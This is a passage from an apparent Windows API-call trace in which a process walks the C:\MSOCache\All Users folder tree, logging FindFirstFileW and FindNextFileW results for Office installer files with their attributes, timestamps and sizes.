lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425ebfd0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x425ebfd0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd33d19d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0051.948] FindClose (in: hFindFile=0x4d52c8 | out: hFindFile=0x4d52c8) returned 1 [0052.239] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.239] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9E8C9~1")) returned 1 [0052.239] GetLastError () returned 0x12 [0052.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.239] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.239] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4289c770, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4289c770, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd4c36bb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xad4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.239] GetLastError () returned 0x12 [0052.243] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb3fb20, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xeb3fb20, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd41a8180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x99cdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0052.243] GetLastError () returned 0x12 [0052.244] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc0e93c80, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xc0e93c80, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xd4135590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x24b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0052.244] GetLastError () returned 0x12 [0052.247] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c5504b0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0x1c5504b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0052.248] GetLastError () returned 0x12 [0052.254] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c5504b0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0x1c5504b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0052.254] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.254] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.254] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-002C-0409-0000-0000000FF1CE}-C", cAlternateFileName="{90160~3")) returned 1 [0052.254] GetLastError () returned 0x12 [0052.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.255] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.255] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0052.255] GetLastError () returned 0x12 [0052.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0052.255] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.255] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c2c09d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1c2c09d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb1e33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0052.255] GetLastError () returned 0x12 [0052.255] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbacf58c0, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xbacf58c0, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x201000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0052.255] GetLastError () returned 0x12 [0052.255] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21b6da0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0xf21b6da0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x613, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0052.255] GetLastError () returned 0x12 [0052.262] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21b6da0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0xf21b6da0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x613, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0052.262] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0052.262] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0052.262] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0052.262] GetLastError () returned 0x12 [0052.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0052.262] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.262] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e4a700, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x18e4a700, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcbb9bb00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd43dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0052.262] GetLastError () returned 0x12 [0052.262] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc3553370, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xc3553370, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x203000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0052.262] GetLastError () returned 0x12 [0052.263] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4320350, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x4320350, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0052.263] GetLastError () returned 0x12 [0052.272] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4320350, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x4320350, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0052.272] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0052.272] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0052.272] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0052.272] GetLastError () returned 0x12 [0052.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0052.272] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.272] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c2727d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1c2727d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcafb4d00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd36695, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0052.272] GetLastError () returned 0x12 [0052.272] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe24ec60, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xbe24ec60, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x203000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0052.272] GetLastError () returned 0x12 [0052.272] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x578b420, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x578b420, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0052.272] GetLastError () returned 0x12 [0052.273] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x578b420, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x578b420, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0052.273] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0052.273] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0052.273] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a506c00, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1a506c00, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcac6f690, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0052.273] GetLastError () returned 0x12 [0052.273] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66266080, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x66266080, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xcac6f690, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0052.273] GetLastError () returned 0x12 [0052.273] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42175690, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42175690, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd08f8600, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.273] GetLastError () returned 0x12 [0052.273] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42175690, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42175690, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd08f8600, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.273] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.273] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.273] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0044-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9E0A5~1")) returned 1 [0052.274] GetLastError () returned 0x12 [0052.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.274] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.274] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce2ab890, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xce2ab890, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd2457360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bafe2, dwReserved0=0x0, dwReserved1=0x0, 